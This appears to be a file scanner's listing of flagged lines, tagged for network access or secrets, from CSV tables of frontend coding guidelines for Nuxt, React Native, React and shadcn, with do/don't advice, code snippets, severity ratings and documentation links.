    19,Lifecycle,Use nextTick for post-render access,Wait for DOM updates before accessing elements,await nextTick() after state changes,Immediate DOM access after state change,"count.value++; await nextTick(); el.value.focus()","count.value++;
  • Network accessline 21
    20,Lifecycle,Use onPrehydrate for pre-hydration logic,Run code before Nuxt hydrates the page,onPrehydrate for client setup,onMounted for hydration-critical code,"onPrehydrate(() => { console.log(window) })",onMounted for pre-hydration needs
  • Network accessline 22
    21,Server,Use server/api for API routes,Create API endpoints in server/api directory,server/api/users.ts for /api/users,Manual Express setup,server/api/hello.ts -> /api/hello,app.get('/api/hello'),High,https://nuxt.com/docs/guide/directory-
  • Network accessline 23
    22,Server,Use defineEventHandler for handlers,Define server route handlers,defineEventHandler for all handlers,export default function,"export default defineEventHandler((event) => { return { hello: 'world' } })","export default function(re
  • Network accessline 24
    23,Server,Use server/routes for non-api routes,Routes without /api prefix,server/routes for custom paths,server/api for non-api routes,server/routes/sitemap.xml.ts,server/api/sitemap.xml.ts,Medium,https://nuxt.com/docs/guide/directory-struc
  • Network accessline 25
    24,Server,Use getQuery and readBody for input,Access query params and request body,getQuery(event) readBody(event),Direct event access,"const { id } = getQuery(event)",event.node.req.query,Medium,https://nuxt.com/docs/guide/directory-struct
  • Network accessline 26
    25,Server,Validate server input,Always validate input in server handlers,Zod or similar for validation,Trust client input,"const body = await readBody(event); schema.parse(body)",const body = await readBody(event),High,https://nuxt.com/docs
  • Network accessline 27
    26,State,Use useState for shared reactive state,SSR-friendly shared state across components,useState for cross-component state,ref for shared state,"const count = useState('count', () => 0)",const count = ref(0) in composable,High,https://n
  • Network accessline 28
    27,State,Use unique keys for useState,Prevent state conflicts with unique keys,Descriptive unique keys for each state,Generic or duplicate keys,"useState('user-preferences', () => ({}))",useState('data') in multiple places,Medium,https://nu
  • Network accessline 29
    28,State,Use Pinia for complex state,Pinia for advanced state management,@pinia/nuxt for complex apps,Custom state management,useMainStore() with Pinia,Custom reactive store implementation,Medium,https://nuxt.com/docs/getting-started/state-
  • Network accessline 30
    29,State,Use callOnce for one-time async operations,Ensure async operations run only once,callOnce for store initialization,Direct await in component,"await callOnce(store.fetch)",await store.fetch() on every render,Medium,https://nuxt.com/
  • Network accessline 31
    30,SEO,Use useSeoMeta for SEO tags,Type-safe SEO meta tag management,useSeoMeta for meta tags,useHead for simple meta,"useSeoMeta({ title: 'Home', ogTitle: 'Home', description: '...' })","useHead({ meta: [{ name: 'description', content: '..
  • Network accessline 32
    31,SEO,Use reactive values in useSeoMeta,Dynamic SEO tags with refs or getters,Computed getters for dynamic values,Static values for dynamic content,"useSeoMeta({ title: () => post.value.title })","useSeoMeta({ title: post.value.title })",M
  • Network accessline 33
    32,SEO,Use useHead for non-meta head elements,Scripts styles links in head,useHead for scripts and links,useSeoMeta for scripts,"useHead({ script: [{ src: '/analytics.js' }] })","useSeoMeta({ script: '...' })",Medium,https://nuxt.com/docs/a
  • Network accessline 34
    33,SEO,Include OpenGraph tags,Add OG tags for social sharing,ogTitle ogDescription ogImage,Missing social preview,"useSeoMeta({ ogImage: '/og.png', twitterCard: 'summary_large_image' })",No OG configuration,Medium,https://nuxt.com/docs/api/
  • Network accessline 35
    34,Middleware,Use defineNuxtRouteMiddleware,Define route middleware properly,defineNuxtRouteMiddleware wrapper,export default function,"export default defineNuxtRouteMiddleware((to, from) => {})","export default function(to, from) {}",High,
  • Network accessline 36
    35,Middleware,Use navigateTo for redirects,Redirect in middleware with navigateTo,return navigateTo('/login'),router.push in middleware,"if (!auth) return navigateTo('/login')","if (!auth) router.push('/login')",High,https://nuxt.com/docs/a
  • Network accessline 37
    36,Middleware,Reference middleware in definePageMeta,Apply middleware to specific pages,middleware array in definePageMeta,Global middleware for page-specific,definePageMeta({ middleware: ['auth'] }),Global auth check for one page,Medium,ht
  • Network accessline 38
    37,Middleware,Use .global suffix for global middleware,Apply middleware to all routes,auth.global.ts for app-wide auth,Manual middleware on every page,middleware/auth.global.ts,middleware: ['auth'] on every page,Medium,https://nuxt.com/docs
  • Network accessline 39
    38,ErrorHandling,Use createError for errors,Create errors with proper status codes,createError with statusCode,throw new Error,"throw createError({ statusCode: 404, statusMessage: 'Not Found' })",throw new Error('Not Found'),High,https://nu
  • Network accessline 40
    39,ErrorHandling,Use NuxtErrorBoundary for local errors,Handle errors within component subtree,NuxtErrorBoundary for component errors,Global error page for local errors,"<NuxtErrorBoundary @error=""log""><template #error=""{ error }"">",err
  • Network accessline 41
    40,ErrorHandling,Use clearError to recover from errors,Clear error state and optionally redirect,clearError({ redirect: '/' }),Manual error state reset,clearError({ redirect: '/home' }),error.value = null,Medium,https://nuxt.com/docs/api/ut
  • Network accessline 42
    41,ErrorHandling,Use short statusMessage,Keep statusMessage brief for security,Short generic messages,Detailed error info in statusMessage,"createError({ statusCode: 400, statusMessage: 'Bad Request' })","createError({ statusMessage: 'Inval
  • Network accessline 43
    42,Link,Use NuxtLink for internal navigation,Client-side navigation with prefetching,<NuxtLink to> for internal links,<a href> for internal links,<NuxtLink to="/about">About</NuxtLink>,<a href="/about">About</a>,High,https://nuxt.com/docs/a
  • Network accessline 44
    43,Link,Configure prefetch behavior,Control when prefetching occurs,prefetchOn for interaction-based,Default prefetch for low-priority,"<NuxtLink prefetch-on=""interaction"">",Always default prefetch,Low,https://nuxt.com/docs/api/components
  • Network accessline 45
    44,Link,Use useRouter for programmatic navigation,Navigate programmatically,useRouter().push() for navigation,Direct window.location,"const router = useRouter(); router.push('/dashboard')",window.location.href = '/dashboard',Medium,https://
  • Network accessline 46
    45,Link,Use navigateTo in composables,Navigate outside components,navigateTo() in middleware or plugins,useRouter in non-component code,return navigateTo('/login'),router.push in middleware,Medium,https://nuxt.com/docs/api/utils/navigate-to
  • Network accessline 47
    46,AutoImports,Leverage auto-imports,Use auto-imported composables directly,Direct use of ref computed useFetch,Manual imports for Nuxt composables,"const count = ref(0)","import { ref } from 'vue'; const count = ref(0)",Medium,https://nuxt
  • Network accessline 48
    47,AutoImports,Use #imports for explicit imports,Explicit imports when needed,#imports for clarity or disabled auto-imports,"import from 'vue' when auto-import enabled","import { ref } from '#imports'","import { ref } from 'vue'",Low,https:
  • Network accessline 49
    48,AutoImports,Configure third-party auto-imports,Add external package auto-imports,imports.presets in nuxt.config,Manual imports everywhere,"imports: { presets: [{ from: 'vue-i18n', imports: ['useI18n'] }] }",import { useI18n } everywhere,
  • Network accessline 50
    49,Plugins,Use defineNuxtPlugin,Define plugins properly,defineNuxtPlugin wrapper,export default function,"export default defineNuxtPlugin((nuxtApp) => {})","export default function(ctx) {}",High,https://nuxt.com/docs/guide/directory-structu
  • Network accessline 51
    50,Plugins,Use provide for injection,Provide helpers across app,return { provide: {} } for type safety,nuxtApp.provide without types,"return { provide: { hello: (name) => `Hello ${name}!` } }","nuxtApp.provide('hello', fn)",Medium,https://n
  • Network accessline 52
    51,Plugins,Use .client or .server suffix,Control plugin execution environment,plugin.client.ts for client-only,if (process.client) checks,analytics.client.ts,"if (process.client) { // analytics }",Medium,https://nuxt.com/docs/guide/director
  • Network accessline 53
    [Credential-related source omitted]
  • Access to secretsline 53
    [Credential-related source omitted]
  • Network accessline 54
    [Credential-related source omitted]
  • Access to secretsline 54
    [Credential-related source omitted]
  • Network accessline 55
    54,Environment,Access public config with useRuntimeConfig,Get public config in components,useRuntimeConfig().public,Direct process.env access,const config = useRuntimeConfig(); config.public.apiBase,process.env.NUXT_PUBLIC_API_BASE,High,htt
  • Network accessline 56
    55,Environment,Keep secrets in private config,Server-only secrets in runtimeConfig root,runtimeConfig.apiSecret (server only),Secrets in public config,runtimeConfig: { dbPassword: '' },runtimeConfig: { public: { dbPassword: '' } },High,http
  • Network accessline 57
    56,Performance,Use Lazy prefix for code splitting,Lazy load components with Lazy prefix,<LazyComponent> for below-fold,Eager load all components,<LazyMountainsList v-if="show"/>,<MountainsList/> for hidden content,Medium,https://nuxt.com/do
  • Network accessline 58
    57,Performance,Use useLazyFetch for non-blocking data,Alias for useFetch with lazy: true,useLazyFetch for secondary data,useFetch for all requests,"const { data } = useLazyFetch('/api/comments')",await useFetch for comments section,Medium,h
  • Network accessline 59
    58,Performance,Use lazy hydration for interactivity,Delay component hydration until needed,LazyComponent with hydration strategy,Immediate hydration for all,<LazyModal hydrate-on-visible/>,<Modal/> in footer,Low,https://nuxt.com/docs/guide/

skills/ui-ux-pro-max/data/stacks/react-native.csv

  • Network accessline 1
    No,Category,Guideline,Description,Do,Don't,Code Good,Code Bad,Severity,Docs URL 1,Components,Use functional components,Hooks-based components are standard,Functional components with hooks,Class components,const App = () => { },class App ext
  • Network accessline 2
    1,Components,Use functional components,Hooks-based components are standard,Functional components with hooks,Class components,const App = () => { },class App extends Component,Medium,https://reactnative.dev/docs/intro-react
  • Network accessline 4
    3,Components,Use TypeScript,Type safety for props and state,TypeScript for new projects,JavaScript without types,const Button: FC<Props> = () => { },const Button = (props) => { },Medium, 4,Components,Colocate component files,Keep related fi
  • Network accessline 5
    4,Components,Colocate component files,Keep related files together,Component folder with styles,Flat structure,components/Button/index.tsx styles.ts,components/Button.tsx styles/button.ts,Low, 5,Styling,Use StyleSheet.create,Optimized style 
  • Network accessline 6
    5,Styling,Use StyleSheet.create,Optimized style objects,StyleSheet for all styles,Inline style objects,StyleSheet.create({ container: {} }),style={{ margin: 10 }},High,https://reactnative.dev/docs/stylesheet
  • Network accessline 7
    6,Styling,Avoid inline styles,Prevent object recreation,Styles in StyleSheet,Inline style objects in render,style={styles.container},"style={{ margin: 10, padding: 5 }}",Medium, 7,Styling,Use flexbox for layout,React Native uses flexbox,fle
  • Network accessline 8
    7,Styling,Use flexbox for layout,React Native uses flexbox,flexDirection alignItems justifyContent,Absolute positioning everywhere,flexDirection: 'row',position: 'absolute' everywhere,Medium,https://reactnative.dev/docs/flexbox
  • Network accessline 9
    8,Styling,Handle platform differences,Platform-specific styles,Platform.select or .ios/.android files,Same styles for both platforms,"Platform.select({ ios: {}, android: {} })",Hardcoded iOS values,Medium,https://reactnative.dev/docs/platfo
  • Network accessline 10
    9,Styling,Use responsive dimensions,Scale for different screens,Dimensions or useWindowDimensions,Fixed pixel values,useWindowDimensions(),width: 375,Medium, 10,Navigation,Use React Navigation,Standard navigation library,React Navigation fo
  • Network accessline 11
    10,Navigation,Use React Navigation,Standard navigation library,React Navigation for routing,Manual navigation management,createStackNavigator(),Custom navigation state,Medium,https://reactnavigation.org/
  • Network accessline 12
    11,Navigation,Type navigation params,Type-safe navigation,Typed navigation props,Untyped navigation,"navigation.navigate<RootStackParamList>('Home', { id })","navigation.navigate('Home', { id })",Medium, 12,Navigation,Use deep linking,Suppo
  • Network accessline 13
    12,Navigation,Use deep linking,Support URL-based navigation,Configure linking prop,No deep link support,linking: { prefixes: [] },No linking configuration,Medium,https://reactnavigation.org/docs/deep-linking/
  • Network accessline 17
    16,State,Use context sparingly,Context for global state,Context for theme auth locale,Context for frequently changing data,ThemeContext for app theme,Context for list item data,Medium, 17,State,Consider Zustand or Redux,External state manag
  • Network accessline 18
    17,State,Consider Zustand or Redux,External state management,Zustand for simple Redux for complex,useState for global state,create((set) => ({ })),Prop drilling global state,Medium, 18,Lists,Use FlatList for long lists,Virtualized list rend
  • Network accessline 19
    18,Lists,Use FlatList for long lists,Virtualized list rendering,FlatList for 50+ items,ScrollView with map,<FlatList data={items} />,<ScrollView>{items.map()}</ScrollView>,High,https://reactnative.dev/docs/flatlist
  • Network accessline 26
    25,Performance,Use useMemo for expensive ops,Cache expensive calculations,useMemo for heavy computations,Recalculate every render,"useMemo(() => expensive(), [deps])",const result = expensive(),Medium, 26,Performance,Avoid anonymous functio
  • Network accessline 27
    26,Performance,Avoid anonymous functions in JSX,Prevent re-renders,Named handlers or useCallback,Inline arrow functions,onPress={handlePress},onPress={() => doSomething()},Medium, 27,Performance,Use Hermes engine,Improved startup and memory
  • Network accessline 28
    27,Performance,Use Hermes engine,Improved startup and memory,Enable Hermes in build,JavaScriptCore for new projects,hermes_enabled: true,hermes_enabled: false,Medium,https://reactnative.dev/docs/hermes
  • Network accessline 29
    28,Images,Use expo-image,Modern performant image component for React Native,"Use expo-image for caching, blurring, and performance",Use default Image for heavy lists or unmaintained libraries,<Image source={url} cachePolicy='memory-disk' />
  • Network accessline 31
    30,Images,Use resizeMode,Control image scaling,resizeMode cover contain,Stretch images,"resizeMode=""cover""",No resizeMode,Low, 31,Forms,Use controlled inputs,State-controlled form fields,value + onChangeText,Uncontrolled inputs,<TextInput
  • Network accessline 32
    31,Forms,Use controlled inputs,State-controlled form fields,value + onChangeText,Uncontrolled inputs,<TextInput value={text} onChangeText={setText} />,<TextInput defaultValue={text} />,Medium, 32,Forms,Handle keyboard,Manage keyboard visibi
  • Network accessline 33
    32,Forms,Handle keyboard,Manage keyboard visibility,KeyboardAvoidingView,Content hidden by keyboard,"<KeyboardAvoidingView behavior=""padding"">",No keyboard handling,High,https://reactnative.dev/docs/keyboardavoidingview
  • Network accessline 34
    33,Forms,Use proper keyboard types,Appropriate keyboard for input,keyboardType for input type,Default keyboard for all,"keyboardType=""email-address""","keyboardType=""default"" for email",Low, 34,Touch,Use Pressable,Modern touch handling,P
  • Network accessline 35
    34,Touch,Use Pressable,Modern touch handling,Pressable for touch interactions,TouchableOpacity for new code,<Pressable onPress={} />,<TouchableOpacity onPress={} />,Low,https://reactnative.dev/docs/pressable
  • Network accessline 36
    35,Touch,Provide touch feedback,Visual feedback on press,Ripple or opacity change,No feedback on press,android_ripple={{ color: 'gray' }},No press feedback,Medium, 36,Touch,Set hitSlop for small targets,Increase touch area,hitSlop for icons
  • Network accessline 37
    36,Touch,Set hitSlop for small targets,Increase touch area,hitSlop for icons and small buttons,Tiny touch targets,hitSlop={{ top: 10 bottom: 10 }},44x44 with no hitSlop,Medium, 37,Animation,Use Reanimated,High-performance animations,react-n
  • Network accessline 38
    37,Animation,Use Reanimated,High-performance animations,react-native-reanimated,Animated API for complex,useSharedValue useAnimatedStyle,Animated.timing for gesture,Medium,https://docs.swmansion.com/react-native-reanimated/
  • Network accessline 39
    38,Animation,Run on UI thread,worklets for smooth animation,Run animations on UI thread,JS thread animations,runOnUI(() => {}),Animated on JS thread,High, 39,Animation,Use gesture handler,Native gesture recognition,react-native-gesture-hand
  • Network accessline 40
    39,Animation,Use gesture handler,Native gesture recognition,react-native-gesture-handler,JS-based gesture handling,<GestureDetector>,<View onTouchMove={} />,Medium,https://docs.swmansion.com/react-native-gesture-handler/ 40,Async,Handle loa
  • Network accessline 42
    41,Async,Handle errors gracefully,Error boundaries and fallbacks,Error UI for failed requests,Crash on error,{error ? <ErrorView /> : <Content />},No error handling,High, 42,Async,Cancel async operations,Cleanup on unmount,AbortController o
  • Network accessline 43
    42,Async,Cancel async operations,Cleanup on unmount,AbortController or cleanup,Memory leaks from async,useEffect cleanup,No cleanup for subscriptions,High, 43,Accessibility,Add accessibility labels,Describe UI elements,accessibilityLabel fo
  • Network accessline 44
    43,Accessibility,Add accessibility labels,Describe UI elements,accessibilityLabel for all interactive,Missing labels,"accessibilityLabel=""Submit form""",<Pressable> without label,High,https://reactnative.dev/docs/accessibility
  • Network accessline 45
    44,Accessibility,Use accessibility roles,Semantic meaning,accessibilityRole for elements,Wrong roles,"accessibilityRole=""button""",No role for button,Medium, 45,Accessibility,Support screen readers,Test with TalkBack/VoiceOver,Test with sc
  • Network accessline 46
    45,Accessibility,Support screen readers,Test with TalkBack/VoiceOver,Test with screen readers,Skip accessibility testing,Regular TalkBack testing,No screen reader testing,High, 46,Testing,Use React Native Testing Library,Component testing,r
  • Network accessline 47
    46,Testing,Use React Native Testing Library,Component testing,render and fireEvent,Enzyme or manual testing,render(<Component />),shallow(<Component />),Medium,https://callstack.github.io/react-native-testing-library/
  • Network accessline 48
    47,Testing,Test on real devices,Real device behavior,Test on iOS and Android devices,Simulator only,Device testing in CI,Simulator only testing,High, 48,Testing,Use Detox for E2E,End-to-end testing,Detox for critical flows,Manual E2E testin
  • Network accessline 49
    48,Testing,Use Detox for E2E,End-to-end testing,Detox for critical flows,Manual E2E testing,detox test,Manual testing only,Medium,https://wix.github.io/Detox/
  • Network accessline 50
    49,Native,Use native modules carefully,Bridge has overhead,Batch native calls,Frequent bridge crossing,Batch updates,Call native on every keystroke,High, 50,Native,Use Expo when possible,Simplified development,Expo for standard features,Bar
  • Network accessline 51
    50,Native,Use Expo when possible,Simplified development,Expo for standard features,Bare RN for simple apps,expo install package,react-native link package,Low,https://docs.expo.dev/
  • Network accessline 52
    51,Native,Handle permissions,Request permissions properly,Check and request permissions,Assume permissions granted,PermissionsAndroid.request(),Access without permission check,High,https://reactnative.dev/docs/permissionsandroid

skills/ui-ux-pro-max/data/stacks/react.csv

  • Network accessline 1
    No,Category,Guideline,Description,Do,Don't,Code Good,Code Bad,Severity,Docs URL 1,State,Use useState for local state,Simple component state should use useState hook,useState for form inputs toggles counters,Class components this.state,"cons
  • Network accessline 2
    1,State,Use useState for local state,Simple component state should use useState hook,useState for form inputs toggles counters,Class components this.state,"const [count, setCount] = useState(0)",this.state = { count: 0 },Medium,https://reac
  • Network accessline 3
    2,State,Lift state up when needed,Share state between siblings by lifting to parent,Lift shared state to common ancestor,Prop drilling through many levels,Parent holds state passes down,Deep prop chains,Medium,https://react.dev/learn/sharin
  • Network accessline 4
    3,State,Use useReducer for complex state,Complex state logic benefits from reducer pattern,useReducer for state with multiple sub-values,Multiple useState for related values,useReducer with action types,5+ useState calls that update togethe
  • Network accessline 5
    4,State,Avoid unnecessary state,Derive values from existing state when possible,Compute derived values in render,Store derivable values in state,const total = items.reduce(...),"const [total, setTotal] = useState(0)",High,https://react.dev/
  • Network accessline 6
    5,State,Initialize state lazily,Use function form for expensive initial state,useState(() => computeExpensive()),useState(computeExpensive()),useState(() => JSON.parse(data)),useState(JSON.parse(data)),Medium,https://react.dev/reference/rea
  • Network accessline 7
    6,Effects,Clean up effects,Return cleanup function for subscriptions timers,Return cleanup function in useEffect,No cleanup for subscriptions,useEffect(() => { sub(); return unsub; }),useEffect(() => { subscribe(); }),High,https://react.dev
  • Network accessline 8
    7,Effects,Specify dependencies correctly,Include all values used inside effect in deps array,All referenced values in dependency array,Empty deps with external references,[value] when using value in effect,[] when using props/state in effec
  • Network accessline 9
    8,Effects,Avoid unnecessary effects,Don't use effects for transforming data or events,Transform data during render handle events directly,useEffect for derived state or event handling,const filtered = items.filter(...),useEffect(() => setFi
  • Network accessline 10
    9,Effects,Use refs for non-reactive values,Store values that don't trigger re-renders in refs,useRef for interval IDs DOM elements,useState for values that don't need render,const intervalRef = useRef(null),"const [intervalId, setIntervalId
  • Network accessline 11
    10,Rendering,Use keys properly,Stable unique keys for list items,Use stable IDs as keys,Array index as key for dynamic lists,key={item.id},key={index},High,https://react.dev/learn/rendering-lists#keeping-list-items-in-order-with-key
  • Network accessline 12
    11,Rendering,Memoize expensive calculations,Use useMemo for costly computations,useMemo for expensive filtering/sorting,Recalculate every render,"useMemo(() => expensive(), [deps])",const result = expensiveCalc(),Medium,https://react.dev/re
  • Network accessline 13
    12,Rendering,Memoize callbacks passed to children,Use useCallback for functions passed as props,useCallback for handlers passed to memoized children,New function reference every render,"useCallback(() => {}, [deps])",const handler = () => {
  • Network accessline 14
    13,Rendering,Use React.memo wisely,Wrap components that render often with same props,memo for pure components with stable props,memo everything or nothing,memo(ExpensiveList),memo(SimpleButton),Low,https://react.dev/reference/react/memo
  • Network accessline 15
    14,Rendering,Avoid inline object/array creation in JSX,Create objects outside render or memoize,Define style objects outside component,Inline objects in props,<div style={styles.container}>,<div style={{ margin: 10 }}>,Medium, 15,Components
  • Network accessline 16
    15,Components,Keep components small and focused,Single responsibility for each component,One concern per component,Large multi-purpose components,<UserAvatar /><UserName />,<UserCard /> with 500 lines,Medium, 16,Components,Use composition o
  • Network accessline 17
    16,Components,Use composition over inheritance,Compose components using children and props,Use children prop for flexibility,Inheritance hierarchies,<Card>{content}</Card>,class SpecialCard extends Card,Medium,https://react.dev/learn/thinki
  • Network accessline 18
    17,Components,Colocate related code,Keep related components and hooks together,Related files in same directory,Flat structure with many files,components/User/UserCard.tsx,components/UserCard.tsx + hooks/useUser.ts,Low, 18,Components,Use fra
  • Network accessline 19
    18,Components,Use fragments to avoid extra DOM,Fragment or <> for multiple elements without wrapper,<> for grouping without DOM node,Extra div wrappers,<>{items.map(...)}</>,<div>{items.map(...)}</div>,Low,https://react.dev/reference/react/
  • Network accessline 20
    19,Props,Destructure props,Destructure props for cleaner component code,Destructure in function signature,props.name props.value throughout,"function User({ name, age })",function User(props),Low, 20,Props,Provide default props values,Use d
  • Network accessline 21
    20,Props,Provide default props values,Use default parameters or defaultProps,Default values in destructuring,Undefined checks throughout,function Button({ size = 'md' }),if (size === undefined) size = 'md',Low, 21,Props,Avoid prop drilling,
  • Network accessline 22
    21,Props,Avoid prop drilling,Use context or composition for deeply nested data,Context for global data composition for UI,Passing props through 5+ levels,<UserContext.Provider>,<A user={u}><B user={u}><C user={u}>,Medium,https://react.dev/l
  • Network accessline 23
    22,Props,Validate props with TypeScript,Use TypeScript interfaces for prop types,interface Props { name: string },PropTypes or no validation,interface ButtonProps { onClick: () => void },Button.propTypes = {},Medium, 23,Events,Use synthetic
  • Network accessline 24
    23,Events,Use synthetic events correctly,React normalizes events across browsers,e.preventDefault() e.stopPropagation(),Access native event unnecessarily,onClick={(e) => e.preventDefault()},onClick={(e) => e.nativeEvent.preventDefault()},Lo
  • Network accessline 25
    24,Events,Avoid binding in render,Use arrow functions in class or hooks,Arrow functions in functional components,bind in render or constructor,const handleClick = () => {},this.handleClick.bind(this),Medium, 25,Events,Pass event handlers no
  • Network accessline 26
    25,Events,Pass event handlers not call results,Pass function reference not invocation,onClick={handleClick},onClick={handleClick()} causing immediate call,onClick={handleClick},onClick={handleClick()},High, 26,Forms,Controlled components fo
  • Network accessline 27
    26,Forms,Controlled components for forms,Use state to control form inputs,value + onChange for inputs,Uncontrolled inputs with refs,<input value={val} onChange={setVal}>,<input ref={inputRef}>,Medium,https://react.dev/reference/react-dom/co
  • Network accessline 28
    27,Forms,Handle form submission properly,Prevent default and handle in submit handler,onSubmit with preventDefault,onClick on submit button only,<form onSubmit={handleSubmit}>,<button onClick={handleSubmit}>,Medium, 28,Forms,Debounce rapid 
  • Network accessline 29
    28,Forms,Debounce rapid input changes,Debounce search/filter inputs,useDeferredValue or debounce for search,Filter on every keystroke,useDeferredValue(searchTerm),useEffect filtering on every change,Medium,https://react.dev/reference/react/
  • Network accessline 30
    29,Hooks,Follow rules of hooks,Only call hooks at top level and in React functions,Hooks at component top level,Hooks in conditions loops or callbacks,"const [x, setX] = useState()","if (cond) { const [x, setX] = useState() }",High,https://
  • Network accessline 31
    30,Hooks,Custom hooks for reusable logic,Extract shared stateful logic to custom hooks,useCustomHook for reusable patterns,Duplicate hook logic across components,const { data } = useFetch(url),Duplicate useEffect/useState in components,Medi
  • Network accessline 32
    31,Hooks,Name custom hooks with use prefix,Custom hooks must start with use,useFetch useForm useAuth,fetchData or getData for hook,function useFetch(url),function fetchData(url),High, 32,Context,Use context for global data,Context for theme
  • Network accessline 33
    32,Context,Use context for global data,Context for theme auth locale,Context for app-wide state,Context for frequently changing data,<ThemeContext.Provider>,Context for form field values,Medium,https://react.dev/learn/passing-data-deeply-wi
  • Network accessline 34
    33,Context,Split contexts by concern,Separate contexts for different domains,ThemeContext + AuthContext,One giant AppContext,<ThemeProvider><AuthProvider>,<AppProvider value={{theme user...}}>,Medium, 34,Context,Memoize context values,Preve
  • Network accessline 35
    34,Context,Memoize context values,Prevent unnecessary re-renders with useMemo,useMemo for context value object,New object reference every render,"value={useMemo(() => ({...}), [])}","value={{ user, theme }}",High, 35,Performance,Use React D
  • Network accessline 36
    35,Performance,Use React DevTools Profiler,Profile to identify performance bottlenecks,Profile before optimizing,Optimize without measuring,React DevTools Profiler,Guessing at bottlenecks,Medium,https://react.dev/learn/react-developer-tools
  • Network accessline 37
    36,Performance,Lazy load components,Use React.lazy for code splitting,lazy() for routes and heavy components,Import everything upfront,const Page = lazy(() => import('./Page')),import Page from './Page',Medium,https://react.dev/reference/re
  • Network accessline 38
    37,Performance,Virtualize long lists,Use windowing for lists over 100 items,react-window or react-virtual,Render thousands of DOM nodes,<VirtualizedList items={items}/>,{items.map(i => <Item />)},High, 38,Performance,Batch state updates,Rea
  • Network accessline 39
    38,Performance,Batch state updates,React 18 auto-batches but be aware,Let React batch related updates,Manual batching with flushSync,setA(1); setB(2); // batched,flushSync(() => setA(1)),Low,https://react.dev/learn/queueing-a-series-of-stat
  • Network accessline 40
    39,ErrorHandling,Use error boundaries,Catch JavaScript errors in component tree,ErrorBoundary wrapping sections,Let errors crash entire app,<ErrorBoundary><App/></ErrorBoundary>,No error handling,High,https://react.dev/reference/react/Compo
  • Network accessline 41
    40,ErrorHandling,Handle async errors,Catch errors in async operations,try/catch in async handlers,Unhandled promise rejections,try { await fetch() } catch(e) {},await fetch() // no catch,High,
  • Network accessline 42
    41,Testing,Test behavior not implementation,Test what user sees and does,Test renders and interactions,Test internal state or methods,expect(screen.getByText('Hello')),expect(component.state.name),Medium,https://testing-library.com/docs/rea
  • Network accessline 43
    42,Testing,Use testing-library queries,Use accessible queries,getByRole getByLabelText,getByTestId for everything,getByRole('button'),getByTestId('submit-btn'),Medium,https://testing-library.com/docs/queries/about#priority
  • Network accessline 44
    43,Accessibility,Use semantic HTML,Proper HTML elements for their purpose,button for clicks nav for navigation,div with onClick for buttons,<button onClick={...}>,<div onClick={...}>,High,https://react.dev/reference/react-dom/components#all
  • Network accessline 51
    50,TypeScript,Use generics for reusable components,Generic components for flexible typing,Generic props for list components,Union types for flexibility,<List<T> items={T[]}>,<List items={any[]}>,Medium, 51,Patterns,Container/Presentational 
  • Network accessline 52
    51,Patterns,Container/Presentational split,Separate data logic from UI,Container fetches presentational renders,Mixed data and UI in one,<UserContainer><UserView/></UserContainer>,<User /> with fetch and render,Low, 52,Patterns,Render props
  • Network accessline 53
    52,Patterns,Render props for flexibility,Share code via render prop pattern,Render prop for customizable rendering,Duplicate logic across components,<DataFetcher render={data => ...}/>,Copy paste fetch logic,Low,https://react.dev/reference/

skills/ui-ux-pro-max/data/stacks/shadcn.csv

  • Network accessline 1
    No,Category,Guideline,Description,Do,Don't,Code Good,Code Bad,Severity,Docs URL 1,Setup,Use CLI for installation,Install components via shadcn CLI for proper setup,npx shadcn@latest add component-name,Manual copy-paste from docs,npx shadcn@
  • Network accessline 2
    1,Setup,Use CLI for installation,Install components via shadcn CLI for proper setup,npx shadcn@latest add component-name,Manual copy-paste from docs,npx shadcn@latest add button,Copy component code manually,High,https://ui.shadcn.com/docs/c
  • Network accessline 3
    2,Setup,Initialize project properly,Run init command to set up components.json and globals.css,npx shadcn@latest init before adding components,Skip init and add components directly,npx shadcn@latest init,npx shadcn@latest add button (withou
  • Network accessline 4
    3,Setup,Configure path aliases,Set up proper import aliases in tsconfig and components.json,Use @/components/ui path aliases,Relative imports like ../../components,import { Button } from "@/components/ui/button",import { Button } from "../.
  • Network accessline 5
    4,Theming,Use CSS variables for colors,Define colors as CSS variables in globals.css for theming,CSS variables in :root and .dark,Hardcoded color values in components,bg-primary text-primary-foreground,bg-blue-500 text-white,High,https://ui
  • Network accessline 6
    5,Theming,Follow naming convention,Use semantic color names with foreground pattern,primary/primary-foreground secondary/secondary-foreground,Generic color names,--primary --primary-foreground,--blue --light-blue,Medium,https://ui.shadcn.co
  • Network accessline 7
    6,Theming,Support dark mode,Include .dark class styles for all custom CSS,Define both :root and .dark color schemes,Only light mode colors,.dark { --background: 240 10% 3.9%; },No .dark class styles,High,https://ui.shadcn.com/docs/dark-mode
  • Network accessline 8
    7,Components,Use component variants,Leverage cva variants for consistent styling,Use variant prop for different styles,Inline conditional classes,<Button variant="destructive">,<Button className={isError ? "bg-red-500" : "bg-blue-500"}>,Med
  • Network accessline 9
    8,Components,Compose with className,Add custom classes via className prop for overrides,Extend with className for one-off customizations,Modify component source directly,<Button className="w-full">,Edit button.tsx to add w-full,Medium,https
  • Network accessline 10
    9,Components,Use size variants consistently,Apply size prop for consistent sizing across components,size="sm" size="lg" for sizing,Mix size classes inconsistently,<Button size="lg">,<Button className="text-lg px-8 py-4">,Medium,https://ui.s
  • Network accessline 11
    10,Components,Prefer compound components,Use provided sub-components for complex UI,Card + CardHeader + CardContent pattern,Single component with many props,<Card><CardHeader><CardTitle>,<Card title="x" content="y" footer="z">,Medium,https:
  • Network accessline 12
    11,Dialog,Use Dialog for modal content,Dialog component for overlay modal windows,Dialog for confirmations forms details,Alert for modal content,<Dialog><DialogContent>,<Alert> styled as modal,High,https://ui.shadcn.com/docs/components/dial
  • Network accessline 13
    12,Dialog,Handle dialog state properly,Use open and onOpenChange for controlled dialogs,Controlled state with useState,Uncontrolled with default open only,"<Dialog open={open} onOpenChange={setOpen}>","<Dialog defaultOpen={true}>",Medium,ht
  • Network accessline 14
    13,Dialog,Include proper dialog structure,Use DialogHeader DialogTitle DialogDescription,Complete semantic structure,Missing title or description,<DialogHeader><DialogTitle><DialogDescription>,<DialogContent><p>Content</p></DialogContent>,H
  • Network accessline 15
    14,Sheet,Use Sheet for side panels,Sheet component for slide-out panels and drawers,Sheet for navigation filters settings,Dialog for side content,<Sheet side="right">,<Dialog> with slide animation,Medium,https://ui.shadcn.com/docs/component
  • Network accessline 16
    15,Sheet,Specify sheet side,Set side prop for sheet slide direction,Explicit side="left" or side="right",Default side without consideration,<Sheet><SheetContent side="left">,<Sheet><SheetContent>,Low,https://ui.shadcn.com/docs/components/sh
  • Network accessline 17
